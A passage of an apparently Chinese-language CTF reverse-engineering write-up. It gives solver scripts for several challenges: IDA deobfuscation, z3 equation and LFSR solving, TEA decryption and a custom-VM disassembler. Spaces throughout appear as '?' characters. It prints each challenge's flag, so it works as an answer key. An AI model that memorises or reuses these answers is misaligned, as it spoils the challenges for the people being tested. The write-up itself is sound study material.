????????????????break
????????ea?+=?idc.get_item_size(ea)

????ea?+=?idc.get_item_size(ea)
????mnem?=?idc.print_insn_mnem(ea)
????if?mnem?!=?'jnz':
????????assert?0

????ea?+=?idc.get_item_size(ea)
????mnem?=?idc.print_insn_mnem(ea)
????if?mnem?!=?'popa':
????????assert?0

????ea?+=?idc.get_item_size(ea)
????mnem?=?idc.print_insn_mnem(ea)
????if?mnem?!=?'popf':
????????assert?0

????if?ea?==?0x45CD:
????????print?('ea=0x45ce:?dis=retn')
????????new_code?+=?b'\xc3'
????????return
????while?True:
????????ea?+=?idc.get_item_size(ea)
????????mnem?=?idc.print_insn_mnem(ea)
????????if?mnem?==?'jmp':
????????????break
????????dis?=?mydis(idc.get_bytes(ea,?idc.get_item_size(ea)),?ea)
????????print?('block=%x,?ea=%x,?dis=%s'?%(block.start_ea,?ea,?dis))
????????new_code?+=?myasm(dis,?new_code_ea+len(new_code))

funs?=?[]


ea?=?start_ea
count?=?0
while?ea?<?end_ea:
????myblock?=?get_block(ea)
????print?('ea=%x,?new_ea=%x'?%(myblock.start_ea,?new_code_ea+len(new_code)))
????get_real_code(myblock)
????count?+=?1
????ea?=?myblock.end_ea
????if?myblock.call_target?not?in?funs:
????????funs.append(myblock.call_target)

print?('count=%d'?%count)
#for?i?in?range(new_code_ea,?new_code_ea+len(new_code)):
#????del_items(i)

ea?=?0x48C8
end_ea?=?0x48F3
while?ea?<?end_ea:
????myblock?=?get_block(ea)
????print?('ea=%x,?new_ea=%x'?%(myblock.start_ea,?new_code_ea+len(new_code)))
????get_real_code(myblock)
????ea?=?myblock.end_ea

ida_bytes.patch_bytes(new_code_ea,?new_code+b'\xc3')
'''
for?fun?in?funs:
????print?('
fun=%x'?%fun)
print?(len(funs))
print?('
finish')
'
''
去混淆后的 idb


basic 部分:


是一个方程组直接上 z3
from?z3?import?*
flag?=?[BitVec('x%d'?%?i,?8)?for?i?in?range(28)]
s?=?Solver()

v5?=?40085?*?flag[3]-?222506?*?flag[2]+?54507?*?flag[4]+?88056?*?flag[1]+?212571?*?flag[5]-?160722?*?flag[0]-0x6A31D
s.add(v5==0)
v5?=?49300?*?flag[3]+?259229?*?flag[0]+?278066?*?flag[2]-?127937?*?flag[1]-?295169?*?flag[4]-?8368677
s.add(v5==0)
v5?=?42214?*?flag[1]-?108025?*?flag[3]+?205972?*?flag[0]+?27559?*?flag[2]-?17114904
s.add(v5==0)
v5?=?-?151496?*?flag[1]+?204740?*?flag[0]+?80143?*?flag[2]-?12295783
s.add(v5==0)
v5?=?241935?*?flag[1]+?124128?*?flag[0]-?38790036+?273221?*?flag[0]-?27868542
s.add(v5==0)

v6?=?-279656?*?flag[2]-?199574?*?flag[1]-?258130?*?flag[8]-?200399?*?flag[3]-?173903?*?flag[7]+?175816?*?flag[0]-?234569?*?flag[6]-?108273?*?flag[4]-?222957?*?flag[5]+?128244179
s.add(v6==0)
v6?=?-?81541?*?flag[1]-?268763?*?flag[0]+?219073?*?flag[3]+?34782?*?flag[6]+?21153?*?flag[5]+?173005?*?flag[7]+?76285?*?flag[4]+?32825?*?flag[2]-?13874925
s.add(v6==0)
v6?=?85214?*?flag[2]-?268299?*?flag[3]-?230981?*?flag[1]+?290772?*?flag[5]-?74394?*?flag[4]+?28044?*?flag[6]-?242995?*?flag[0]+?50871139
s.add(v6==0)

v7?=?-208564?*?flag[0]?+?81934?*?flag[9]?-?106641?*?flag[7]?+?198477?*?flag[2]?+?154505?*?flag[1]?+?48440?*?flag[5]?-?149004?*?flag[3]?-?108909?*?flag[4]?-?51714?*?flag[10]?-?296420?*?flag[8]?+?263021?*?flag[6]?+?688726?
s.add(v7==0)
v7?=?-?131130?*?flag[2]?+?224265?*?flag[3]?+?230702?*?flag[0]?-?176285?*?flag[7]?-?274778?*?flag[4]?+?103848?*?flag[8]?-?136039?*?flag[9]?-?241151?*?flag[5]?+?15542?*?flag[6]?-?17521?*?flag[1]?+?41644083
s.add(v7==0)

v8?=?195056?*?flag[4]-?15717?*?flag[9]-?180214?*?flag[6]-?114427?*?flag[5]+?277782?*?flag[7]+?261379?*?flag[8]-?225266?*?flag[2]+?107609?*?flag[0]+?259792?*?flag[3]+?270563?*?flag[11]+?205124?*?flag[1]+?138334?*?flag[10]+?103474?*?flag[12]-?117027475
s.add(v8==0)
v8?=?189573?*?flag[8]+?64393?*?flag[6]+?231137?*?flag[1]+?145315?*?flag[4]-?53938?*?flag[10]-?291345?*?flag[5]+?216413?*?flag[3]-?204681?*?flag[0]-?65519?*?flag[9]-?262826?*?flag[2]+?187002?*?flag[7]+?271732?*?flag[11]-?38663722
s.add(v8==0)

v9?=?15645?*?flag[13]?+?276267?*?flag[12]?+?31190?*?flag[5]?-?244002?*?flag[2]?+?81415?*?flag[3]?-?22940?*?flag[10]?-?126076?*?flag[7]?+?8932?*?flag[8]?+?112153?*?flag[4]?+?194218?*?flag[11]?+?197656?*?flag[9]?-?204463?*?flag[0]?-?219500?*?flag[1]?+?19777?*?flag[6]?-?24531260
s.add(v9==0)

v10?=?279969?*?flag[8]-?123977?*?flag[4]+?162094?*?flag[0]-?215769?*?flag[1]-?18878?*?flag[14]-?80292?*?flag[11]-?237675?*?flag[5]-?222121?*?flag[6]+?269381?*?flag[12]+?153934?*?flag[13]-?165380?*?flag[10]-?157137?*?flag[2]-?186748?*?flag[3]+?170756?*?flag[7]-?186932?*?flag[9]+?87264470
s.add(v10==0)

v11?=?-87190?*?flag[2]-?74836?*?flag[1]+?16892?*?flag[9]-?185781?*?flag[8]-?12726?*?flag[7]+?85022?*?flag[12]+?232989?*?flag[10]+?68516?*?flag[0]-?120254?*?flag[6]-?204892?*?flag[5]-?65901?*?flag[4]-?201087?*?flag[13]+?158612?*?flag[11]-?49445?*?flag[3]-?181860?*?flag[14]-?111015?*?flag[15]+?43646834
s.add(v11==0)

v12?=?-170184?*?flag[3]?-?137671?*?flag[4]?-?85374?*?flag[9]?-?73658?*?flag[11]?+?230891?*?flag[13]?+?54346?*?flag[15]?-?280694?*?flag[0]?+?60411?*?flag[2]?+?27171?*?flag[7]?-?50618?*?flag[6]?+?11843?*?flag[10]?+?131778?*?flag[5]?+?13956?*?flag[8]?-?42562?*?flag[12]?-?19972?*?flag[1]?-?145797?*?flag[14]?-?58717?*?flag[16]?+?74613584
s.add(v12==0)

v13?=?242475?*?flag[16]-?234385?*?flag[0]+?124653?*?flag[2]-?287929?*?flag[13]-?190916?*?flag[12]-?277578?*?flag[11]+?39?*?flag[8]-?41625?*?flag[6]+?67262?*?flag[5]-?250144?*?flag[9]-?70886?*?flag[10]-?223492?*?flag[15]-?179651?*?flag[7]+?206538?*?flag[17]+?161965?*?flag[3]-?146258?*?flag[4]+?167068?*?flag[1]+?196330?*?flag[14]+?76353817
s.add(v13==0)

v14?=?29700?*?flag[18]-?60542?*?flag[5]+?274107?*?flag[11]+?154914?*?flag[13]-?143185?*?flag[12]+?167424?*?flag[2]+?137439?*?flag[8]-?186151?*?flag[10]-?77157?*?flag[9]-?233090?*?flag[6]-?27400?*?flag[7]-?76557?*?flag[15]-?108002?*?flag[17]+?103161?*?flag[14]-?133956?*?flag[1]-?219502?*?flag[4]-?202897?*?flag[0]-?250957?*?flag[3]-?119297?*?flag[16]+?100812197
s.add(v14==0)

v15?=?-171971?*?flag[9]+?38740?*?flag[4]+?-31661?*?flag[10]+?-194653?*?flag[18]+?-295910?*?flag[16]+?136489?*?flag[12]+?212619?*?flag[17]+?165592?*?flag[11]+?211791?*?flag[1]+?156909?*?flag[2]+?-232187?*?flag[8]+?-73709?*?flag[7]+?79735?*?flag[14]+?184882?*?flag[13]+?111105?*?flag[6]+?148840?*?flag[3]+?-35774?*?flag[19]+?-275711?*?flag[0]?+?135265?*?flag[5]?-?141221?*?flag[15]?-?39117122
s.add(v15==0)

v16?=?-186514?*?flag[17]+?-7791?*?flag[2]+?276755?*?flag[11]+?-294815?*?flag[14]+?-238763?*?flag[15]+?-146099?*?flag[5]+?184977?*?flag[16]+?178413?*?flag[1]+?287303?*?flag[3]+?-71946?*?flag[10]+?-73771?*?flag[9]+?-129032?*?flag[18]+?200202?*?flag[20]+?-150509?*?flag[6]+?-156625?*?flag[13]+?14093?*?flag[7]+?192584?*?flag[12]-?122770?*?flag[0]-?255494?*?flag[8]?+?65?*?flag[4]?-?108479?*?flag[19]?+?13521895
s.add(v16==0)

v17?=?210978?*?flag[7]+?300336?*?flag[10]+?207254?*?flag[15]+?216206?*?flag[5]+?-63529?*?flag[0]+?-274903?*?flag[11]+?-10750?*?flag[14]+?25008?*?flag[4]+?-100942?*?flag[19]+?-104857?*?flag[2]+?266501?*?flag[8]+?229070?*?flag[17]+?-234559?*?flag[16]+?298459?*?flag[3]+?-172052?*?flag[6]+?-98938?*?flag[12]+?66155?*?flag[13]+?-84761?*?flag[1]+?-283508?*?flag[18]+?288577?*?flag[21]?-?75407?*?flag[20]?-?204447?*?flag[9]?+?4351595
s.add(v17==0)

v18?=?-201846?*?flag[14]+?272550?*?flag[20]+?60398?*?flag[6]+?45580?*?flag[7]+?195108?*?flag[11]+?38596?*?flag[0]+?220445?*?flag[18]+?-190873?*?flag[15]+?103477?*?flag[9]+?118842?*?flag[19]+?206336?*?flag[10]+?-249940?*?flag[17]+?-48084?*?flag[21]+?104901?*?flag[5]+?-48576?*?flag[4]+?287104?*?flag[16]+?-286686?*?flag[1]+?-30253?*?flag[22]+?121183?*?flag[3]+?90967?*?flag[2]+?-195519?*?flag[12]?-?129304?*?flag[8]?+?141188?*?flag[13]?-?56642147
s.add(v18==0)

v19?=?110609?*?flag[4]+?5913?*?flag[21]+?-197578?*?flag[7]+?45127?*?flag[18]+?282426?*?flag[13]+?-71019?*?flag[16]+?-6980?*?flag[11]+?208216?*?flag[15]+?-13544?*?flag[20]+?17852?*?flag[8]+?167833?*?flag[12]+?145568?*?flag[17]+?3610?*?flag[19]+?91985?*?flag[1]+?-267402?*?flag[5]+?-32355?*?flag[14]+?-197823?*?flag[23]+?135525?*?flag[2]+?-229424?*?flag[22]+?38093?*?flag[10]+?50167?*?flag[6]+?118713?*?flag[9]?+?123874?*?flag[0]?-?89499?*?flag[3]?-?43090537
s.add(v19==0)

v1?=?-164755?*?flag[9]?+?175470?*?flag[8]?-?28660?*?flag[1]?+?7217?*?flag[11]?-?295102?*?flag[4]?-?28531?*?flag[19]?-?106265?*?flag[25]?-?92750?*?flag[10]?+?16738?*?flag[21]?-?231714?*?flag[6]?+?172042?*?flag[24]?-?215890?*?flag[17]?+?199697?*?flag[12]?-?84235?*?flag[7]?+?44614?*?flag[13]?+?75104?*?flag[5]?-?195843?*?flag[0]?-?15784?*?flag[14]?-?131950?*?flag[15]?-?268167?*?flag[16]?-?197565?*?flag[20]?+?24340?*?flag[23]?+?105130?*?flag[2]?-?79750?*?flag[22]?-?264668?*?flag[3]?+?50329?*?flag[18]?+?137774797
s.add(v1==0)

v20?=?62119?*?flag[17]-?17215?*?flag[24]+?289621?*?flag[18]+?53006?*?flag[20]+?95969?*?flag[11]+?202404?*?flag[0]+?247060?*?flag[21]+?144211?*?flag[19]+?280106?*?flag[7]-?126431?*?flag[10]-?226837?*?flag[12]+?10463?*?flag[23]+?121257?*?flag[13]-?84190?*?flag[9]+?88917?*?flag[1]+?15453?*?flag[14]+?271442?*?flag[4]+?110851?*?flag[3]-?231422?*?flag[5]+?176741?*?flag[22]+?266134?*?flag[2]-?197327?*?flag[6]-?55225?*?flag[8]?-?265465?*?flag[15]?+?119612?*?flag[16]?-?98514358
s.add(v20==0)

v2?=?151924?*?flag[25]?-?265311?*?flag[6]?+?107604?*?flag[11]?-?47851?*?flag[24]?+?227178?*?flag[13]?-?162699?*?flag[2]?+?2171?*?flag[20]?+?211070?*?flag[23]?+?94815?*?flag[22]?+?124760?*?flag[16]?+?41462?*?flag[19]?-?277022?*?flag[15]?-?62501?*?flag[26]?-?17727?*?flag[14]?-?257908?*?flag[4]?-?175112?*?flag[21]?+?8972?*?flag[10]?-?71801?*?flag[8]?-?114724?*?flag[5]?-?252898?*?flag[9]?+?161457?*?flag[1]?-?64461?*?flag[0]?-?111493?*?flag[18]?+?200145?*?flag[17]?-?290075?*?flag[3]?+?158466?*?flag[12]
v21?=?v2?-?275262?*?flag[7]?+?86899519
s.add(v21==0)

v3?=?142850?*?flag[18]-?166704?*?flag[1]+?284852?*?flag[22]+?248972?*?flag[7]-?76200?*?flag[17]+?261708?*?flag[19]+?91911?*?flag[24]+?22347?*?flag[3]+?76006?*?flag[21]+?256511?*?flag[6]-?100052?*?flag[14]-?115830?*?flag[2]-?93202?*?flag[23]+?248858?*?flag[12]-?262669?*?flag[10]+?67895?*?flag[5]-?111771?*?flag[8]-?132193?*?flag[11]-?141512?*?flag[13]+?139406?*?flag[27]+?109646?*?flag[16]-?286309?*?flag[9]+?175476?*?flag[15]?+?138067?*?flag[20]?+?192825?*?flag[25]
s.add(flag[0]?==?102)
s.add(flag[1]?==?108)
s.add(flag[2]?==?97)
s.add(flag[3]?==?103)
s.add(flag[4]?==?123)
s.add(flag[27]?==?125)

s.add(199577?*?flag[0]?-?63091?*?flag[4]?+?v3?-?285207?*?flag[26]?-?58820340?+?v21?==?0)

print(s.check())
print(s.model())
mod?=?s.model()
print(''.join([chr(mod[x].as_long())?for?x?in?flag]))

解出来为 flag{U_90t_th3_8451c_53cre7}

easyapk

先拿 d810 去混淆, 接着调试分析逻辑

先解密这一段 tea
#include?<stdio.h>
#include?<stdint.h>

//加密函数
void?encrypt(uint32_t*?v,?uint32_t*?k)?{
????uint32_t?v0?=?v[0],?v1?=?v[1],?sum?=?0,?i;???????????/*?set?up?*/
????uint32_t?delta?=?0x9e3779b9;?????????????????????/*?a?key?schedule?constant?*/
????uint32_t?k0?=?k[0],?k1?=?k[1],?k2?=?k[2],?k3?=?k[3];???/*?cache?key?*/
????for?(i?=?0;?i?<?32;?i++)?{???????????????????????/*?basic?cycle?start?*/
????????sum?+=?delta;
????????v0?+=?((v1?<<?4)?+?k0)?^?(v1?+?sum)?^?((v1?>>?5)?+?k1);
????????v1?+=?((v0?<<?4)?+?k2)?^?(v0?+?sum)?^?((v0?>>?5)?+?k3);
????}??????????????????????????????????????????????/*?end?cycle?*/
????v[0]?=?v0;?v[1]?=?v1;
}
//解密函数
void?decrypt(uint32_t*?v,?uint32_t*?k)?{
????uint32_t?v0?=?v[0],?v1?=?v[1],?sum?=?0xC6EF3720,?i;??/*?set?up?*/
????uint32_t?delta?=?0x9e3779b9;?????????????????????/*?a?key?schedule?constant?*/
????uint32_t?k0?=?k[0],?k1?=?k[1],?k2?=?k[2],?k3?=?k[3];???/*?cache?key?*/
????for?(i?=?0;?i?<?32;?i++)?{?????????????????????????/*?basic?cycle?start?*/
????????v1?-=?((v0?<<?4)?+?k2)?^?(v0?+?sum)?^?((v0?>>?5)?+?k3);
????????v0?-=?((v1?<<?4)?+?k0)?^?(v1?+?sum)?^?((v1?>>?5)?+?k1);
????????sum?-=?delta;
????}??????????????????????????????????????????????/*?end?cycle?*/
????v[0]?=?v0;?v[1]?=?v1;
}

int?main()
{
????//{0x5585A199,?0x7E825D68,?0x944D0039,?0x71726943,?0x6A514306,?0x4B14AD00,?0x64D20D3F,?0x9F37DB15};
????uint32_t?v[2]?=?{?0x5D94AA84,?0x14FA24A0?},?k[4]?=?{?0x33323130,?0x37363534,?0x62613938?,0x66656463?};
????uint32_t?v1[2]?=?{?0x2B560210,?0xB69BDD49?};
????uint32_t?v2[2]?=?{?0xAAEFEAD4,?0x4B8CF4C6?};
????uint32_t?v3[2]?=?{?0x97FB8C9,?0xB5EC51D2?};
????//?v为要加密的数据是两个32位无符号整数
????//?k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位

????//加密示例
???//?encrypt(v,?k);
??//??printf("加密后的数据:%x %x\n",v[0],v[1]);

????decrypt(v,?k);
????decrypt(v1,?k);
????decrypt(v2,?k);
????decrypt(v3,?k);
????printf("解密后的数据:%x %x %x %x %x %x %x %x\n",?v[0],?v[1],?v1[0],?v1[1],?v2[0],?v2[1],?v3[0],?v3[1]);
????return?0;
}
都是可见 ascil,猜测前面经过了 rot13 加密,在线解密一下


find_middle

之后进行常规的 vm 逆向
from?pwn?import?*
f?=?open('./machine.cfg',?'rb')
d?=?f.read()
f.close()

vpc?=?0

def?get_byte():
????global?d,?vpc
????ret?=?d[vpc]
????vpc?+=?1
????return?ret

def?get_dword():
????global?d,?vpc
????ret?=?u32(d[vpc:vpc+4])
????vpc?+=?4
????return?ret

def?get_next_vpc():
????global?vpc
????if?vpc?==?0xbd4:
????????vpc?=?0xbe0
????if?vpc?==?0xbf1:
????????vpc?=?0xbfd
????if?vpc?==?0xc20:
????????vpc?=?0xc28
????if?vpc?==?0xbaa:
????????vpc?=?0xbb5
????if?vpc?==?0x5bb:
????????vpc?=?0x5ce
????if?vpc?==?0xc54:
????????vpc?=?0xc61
????if?vpc?==?0xc6c:
????????vpc?=?0xc78
????if?vpc?==?0xad0:
????????vpc?=?0xadf
????if?vpc?==?0xafa:
????????vpc?=?0xb04
????if?vpc?==?0xb24:
????????vpc?=?0xb2a
????if?vpc?==?0xb4c:
????????vpc?=?0xb58
????if?vpc?==?0xb79:
????????vpc?=?0xb8c
????if?vpc?==?0x91:
????????vpc?=?0x99
????if?vpc?==?0xc6:
????????vpc?=?0xcf
????if?vpc?==?0xfb:
????????vpc?=?0x105
????if?vpc?==?0x163:
????????vpc?=?0x16b
????if?vpc?==?0x182:
????????vpc?=?0x18f
????if?vpc?==?0x349:
????????vpc?=?0x354
????if?vpc?==?0x3d9:
????????vpc?=?0x3e0
????if?vpc?==?0x7ed:
????????vpc?=?0x7f9
????if?vpc?==?0x5f5:
????????vpc?=?0x601
????if?vpc?==?0x613:
????????vpc?=?0x625
????if?vpc?==?0x1e1:
????????vpc?=?0x1e9
????if?vpc?==?0x4f5:
????????vpc?=?0x503
????if?vpc?==?0x522:
????????vpc?=?0x534
????if?vpc?==?0x54b:
????????vpc?=?0x557
????if?vpc?==?0x571:
????????vpc?=?0x585
????if?vpc?==?0x649:
????????vpc?=?0x65c
????if?vpc?==?0x694:
????????vpc?=?0x6a3
????if?vpc?==?0x6b4:
????????vpc?=?0x6c8
????if?vpc?==?0x6e3:
????????vpc?=?0x6ed
????if?vpc?==?0x71b:
????????vpc?=?0x72d
????if?vpc?==?0x776:
????????vpc?=?0x784
????if?vpc?==?0x7a5:
????????vpc?=?0x7ac
????if?vpc?==?0x7c9:
????????vpc?=?0x7d6
????if?vpc?==?0x832:
????????vpc?=?0x83b
????if?vpc?==?0x864:
????????vpc?=?0x86f
????if?vpc?==?0x8a8:
????????vpc?=?0x8b9
????if?vpc?==?0x222:
????????vpc?=?0x236
????if?vpc?==?0x24d:
????????vpc?=?0x25a
????if?vpc?==?0x28b:
????????vpc?=?0x29d
????if?vpc?==?0x2ce:
????????vpc?=?0x2e0
????if?vpc?==?0x1b3:
????????vpc?=?0x1bc
????if?vpc?==?0x30c:
????????vpc?=?0x31f
????if?vpc?==?0x416:
????????vpc?=?0x429
????if?vpc?==?0x456:
????????vpc?=?0x461
????if?vpc?==?0x47b:
????????vpc?=?0x48b
????if?vpc?==?0x4bd:
????????vpc?=?0x4cb
????if?vpc?==?0x8e1:
????????vpc?=?0x8f4
????if?vpc?==?0x915:
????????vpc?=?0x925
????if?vpc?==?0x944:
????????vpc?=?0x954
????if?vpc?==?0x97a:
????????vpc?=?0x98d
????if?vpc?==?0x9b5:
????????vpc?=?0x9be
????if?vpc?==?0x9db:
????????vpc?=?0x9ee
????if?vpc?==?0x9fb:
????????vpc?=?0xa05
????if?vpc?==?0xa19:
????????vpc?=?0xa2b
????if?vpc?==?0xa48:
????????vpc?=?0xa4e
????if?vpc?==?0xa55:
????????vpc?=?0xa6a
????if?vpc?==?0xa88:
????????vpc?=?0xa8f
????if?vpc?==?0xab9:
????????vpc?=?0xac6
????if?vpc?==?0xc90:
????????vpc?=?0xc9d
????if?vpc?==?0xcb5:
????????vpc?=?0xcc9
????if?vpc?==?0xce4:
????????vpc?=?0xcf6
????if?vpc?==?0xd1e:
????????vpc?=?0xd25
????if?vpc?==?0xd47:
????????vpc?=?0xd58

def?dis_one_fun(pc,?end_pc=None):
????print?('void?fun_%x(){'?%pc)
????global?vpc
????vpc?=?pc
????while?True:
????????if?end_pc:
????????????if?vpc?>=?end_pc:
????????????????break
????????get_next_vpc()
????????pc?=?vpc
????????opcode?=?get_byte()
????????opsize?=?(opcode>>6)&3
????????opcode?=?opcode&0x3f
????????if?opcode?==?0x13:
????????????r1?=?get_byte()
????????????if?opsize?==?0:
????????????????r2?=?get_byte()
????????????????print?('label_%x:?r%d=r%d;'?%(pc,?r1,?r2))
????????????else:
????????????????imm?=?get_dword()
????????????????print?('label_%x:?r%d=0x%x;'?%(pc,?r1,?imm))
????????elif?opcode?==?0xc:
????????????r1?=?get_byte()
????????????if?opsize?==?0:
????????????????r2?=?get_byte()
????????????????print?('label_%x:?r%d-=r%d;'?%(pc,?r1,?r2))
????????????else:
????????????????imm?=?get_dword()
????????????????print?('label_%x:?r%d-=0x%x;'?%(pc,?r1,?imm))
????????elif?opcode?==?0x17:
????????????r1?=?get_byte()
????????????if?opsize?==?0:
????????????????r2?=?get_byte()
????????????????print('label_%x:?r%d+=r%d;'?%?(pc,?r1,?r2))
????????????else:
????????????????imm?=?get_dword()
????????????????print('label_%x:?r%d+=0x%x;'?%?(pc,?r1,?imm))
????????elif?opcode?==?0:
????????????r1?=?get_byte()
????????????print('label_%x:?push(r%d);'?%?(pc,?r1))
????????elif?opcode?==?0x15:
????????????r1?=?get_byte()
????????????print('label_%x:?r%d?+=?1;'?%?(pc,?r1))
????????elif?opcode?==?0x14:
????????????r1?=?get_byte()
????????????print('label_%x:?r%d?-=?1;'?%?(pc,?r1))
????????elif?opcode?==?0x10:
????????????imm?=?get_dword()
????????????if?opsize?==?0:
????????????????print('label_%x:?goto?label_%x;'?%?(pc,?imm))
????????????elif?opsize?==?1:
????????????????print('label_%x:?if(r13?==?0)?goto?label_%x;'?%?(pc,?imm))
????????????elif?opsize?==?2:
????????????????print('label_%x:?if(r13?!=?0)?goto?label_%x;'?%?(pc,?imm))
????????????elif?opsize?==?3:
????????????????print('label_%x:?if(r13?<?0)?goto?label_%x;'?%?(pc,?imm))
????????elif?opcode?==?0xb:
????????????r1?=?get_byte()
????????????if?opsize?==?0:
????????????????print('label_%x:?goto?r%d;'?%?(pc,?r1))
????????????elif?opsize?==?1:
????????????????print('label_%x:?if(r13?==?0)?goto?r%d;'?%?(pc,?r1))
????????????elif?opsize?==?2:
????????????????print('label_%x:?if(r13?!=?0)?goto?r%d;'?%?(pc,?r1))
????????????elif?opsize?==?3:
????????????????print('label_%x:?if(r13?<?0)?goto?r%d;'?%?(pc,?r1))
????????elif?opcode?==?0x7:
????????????if?opsize?==?0:
????????????????r1?=?get_byte()
????????????????print('label_%x:?call?r%d;'?%?(pc,?r1))
????????????else:
????????????????imm?=?get_dword()
????????????????print('label_%x:?fun_%x();'?%?(pc,?imm))
????????elif?opcode?==?0xe:
????????????r1?=?get_byte()
????????????r2?=?get_byte()
????????????print('label_%x:?r13?=?r%d?&?r%d;'?%?(pc,?r1,?r2))
????????elif?opcode?==?5:
????????????r1?=?get_byte()
????????????if?opsize?==?0:
????????????????r2?=?get_byte()
????????????????print('label_%x:?r13?=?r%d?-?r%d;'?%?(pc,?r1,?r2))
????????????else:
????????????????imm?=?get_dword()
????????????????print('label_%x:?r13?=?r%d?-?0x%x;'?%?(pc,?r1,?imm))
????????elif?opcode?==?0x11:
????????????r1?=?get_byte()
????????????if?opsize?==?0:
????????????????r2?=?get_byte()
????????????????print('label_%x:?r%d^=r%d;'?%?(pc,?r1,?r2))
????????????else:
????????????????imm?=?get_dword()
????????????????print('label_%x:?r%d^=0x%x;'?%?(pc,?r1,?imm))
????????elif?opcode?==?1:
????????????r1?=?get_byte()
????????????if?opsize?==?0:
????????????????r2?=?get_byte()
????????????????print('label_%x:?r%d?|=r%d;'?%?(pc,?r1,?r2))
????????????else:
????????????????imm?=?get_dword()
????????????????print('label_%x:?r%d?|=0x%x;'?%?(pc,?r1,?imm))
????????elif?opcode?==?0x12:
????????????r1?=?get_byte()
????????????r2?=?get_byte()
????????????if?opsize?==?0:
????????????????print('label_%x:?r%d=*(unsigned?char*)&mem[r%d];'?%?(pc,?r1,?r2))
????????????elif?opsize?==?1:
????????????????print('label_%x:?r%d=*(unsigned?short*)&mem[r%d];'?%?(pc,?r1,?r2))
????????????elif?opsize?==?2:
????????????????print('label_%x:?r%d=*(unsigned?int*)&mem[r%d];'?%?(pc,?r1,?r2))
????????elif?opcode?==?3:
????????????r1?=?get_byte()
????????????print('label_%x:?r%d?=?pop();'?%?(pc,?r1))
????????elif?opcode?==?0xa:
????????????print('label_%x:?return;'?%?(pc))
????????????if?end_pc?is?None:
????????????????break
????????elif?opcode?==?9:
????????????r1?=?get_byte()
????????????if?opsize?==?0:
????????????????print?('label_%x:?putchar(r%d);'?%(pc,?r1))
????????????elif?opsize?==?1:
????????????????print('label_%x:?printf("%%d",?r%d);'?%?(pc,?r1))
????????????elif?opsize?==?2:
????????????????print('label_%x:?printf("%%08x",?r%d);'?%?(pc,?r1))
????????????elif?opsize?==?3:
????????????????print('label_%x:?putchar(mem[r%d]);'?%?(pc,?r1))
????????elif?opcode?==?2:
????????????r1?=?get_byte()
????????????if?opsize?==?0:
????????????????print('label_%x:?scanf("%%x",?&r%d);'?%?(pc,?r1))
????????????elif?opsize?==?1:
????????????????print('label_%x:?scanf("%%d",?&r%d);'?%?(pc,?r1))
????????????elif?opsize?==?2:
????????????????print('label_%x:?scanf("%%x",?&r%d);'?%?(pc,?r1))
????????????elif?opsize?==?3:
????????????????print('label_%x:?scanf("%%c",?&mem[r%d]);'?%?(pc,?r1))
????????elif?opcode?==?6:
????????????r1?=?get_byte()
????????????r2?=?get_byte()
????????????print?('label_%x:?mem[r%d]=r%d;'?%(pc,?r1,?r2))
????????elif?opcode?==?4:
????????????pass
????????elif?opcode?==?0x16:
????????????print?('label_%x:?exit(0);'?%pc)
????????????break
????????else:
????????????print?('op=%x,?pc=%x'?%(opcode,?vpc-1))
????????????print?(hex(len(d)))
????????????raise?0
????print?('}')

print?('#include?<stdio.h>')
print?('#include?<stdlib.h>')
for?i?in?range(14):
????print?('unsigned?int?r%d?=?0;'?%i)
print?('unsigned?char?mem[0x6000];')
print?('''void?push(unsigned?int?r1){
????r12?-=?4;
????*(unsigned?int*)&mem[r12]?=?r1;
}

unsigned?int?pop()
{
????unsigned?int?ret?=?*(unsigned?int*)&mem[r12];
????r12?+=?4;
????return?ret;
}
'
'')

funs?=?[0,?0xb3,?0x192,?0x339,?0x406,?0x5d6,?0x62b,?0x6f8,?0x746,?0x785,?0x7d7,?0x7e5,?0x811,?0x844,?0xc8b,?0xd71,?0xd91,?0xc39,?0x4dd,?0xb92]
for?fun?in?funs:
????print?('void?fun_%x();'?%fun)


dis_one_fun(0)
dis_one_fun(0xb3)
dis_one_fun(0x192,?0x339)
dis_one_fun(0x339)
dis_one_fun(0x406)
dis_one_fun(0x5d6)
dis_one_fun(0x62b)
dis_one_fun(0x6f8)
dis_one_fun(0x746)
dis_one_fun(0x785)
dis_one_fun(0x7d7)
dis_one_fun(0x7e5)
dis_one_fun(0x811,?0x844)
dis_one_fun(0x844)
dis_one_fun(0xc8b)
dis_one_fun(0xd71,?0xd91)
dis_one_fun(0xd91)
dis_one_fun(0xc39)
dis_one_fun(0x4dd)
dis_one_fun(0xb92)

print('''
void?main(){
FILE?*?fp?=?fopen("./machine.cfg",?"rb");
fread(mem,?0x4534,?1,?fp);
fclose(fp);
fun_0();
}'
'')

逆向分析 vm 逻辑,解出 flag{I_f1nd_th3_r34l_s3cr3t}

gamemaster

.net 程序,拿软件打开分析发现有 xor 和 aes


把 message 文件在线解密一下

之后发现里面有一块程序

dump 出来发现是一个 .net 程序 打开发现 check 的代码很清晰

下面是解密脚本:

from?z3?import?*
flag?=?[BitVec('x%d'?%?i,?64)?for?i?in?range(3)]
s?=?Solver()

num?=?0
first?=?[101,5,?80,?213,163,26,?59,?38,?19,?6,173,189,198,166,140,183,42,247,223,24,106,20,?145,37,?24,?7,??22,?191,110,179,227,5,62,9,13,17,65,22,?37,?5]

KeyStream?=?[0?for?i?in?range(40)]
for?i?in?range(0,320):
????flag[0]?=?(((flag[0]?>>?29?^?flag[0]?>>?28?^?flag[0]?>>?25?^?flag[0]?>>?23)?&?1)?|?flag[0]?<<?1)
????flag[1]?=?(((flag[1]?>>?30?^?flag[1]?>>?27)?&?1)?|?flag[1]?<<?1)
????flag[2]?=?(((flag[2]?>>?31?^?flag[2]?>>?30?^?flag[2]?>>?29?^?flag[2]?>>?28?^?flag[2]?>>?26?^?flag[2]?>>?24)?&?1)?|?flag[2]?<<?1)
????KeyStream[num]?=?(KeyStream[num]?<<?1)?|?((flag[2]?>>?32?&?1?&?(flag[0]?>>?30?&?1))?^?(((flag[2]?>>?32?&?1)?^?1)?&?(flag[1]?>>?31?&?1)))
????if?(i+1)?%?8?==?0:
????????s.add(first[num]?==?KeyStream[num])
????????#?print(KeyStream[num])
????????num?+=?1

print(s.check())
print(s.model())
[?x0?=?156324965,?x1?=?868387187,?x2?=?3131229747]

array?=?[156324965,?868387187,??3131229747]
key?=?[0?for?i?in?range(12)]
for?i?in?range(3):
????for?j?in?range(4):
????????key[4*i+j]?=?array[i]?>>?j?*?8?&?255

s?=?[60,100,36,86,51,251,167,108,116,245,207,223,40,103,34,62,22,251,227]
for?i?in?range(len(s)):
????print(s[i]^key[i%len(key)],end='')

#?Y0u_@re_G3meM3s7er!

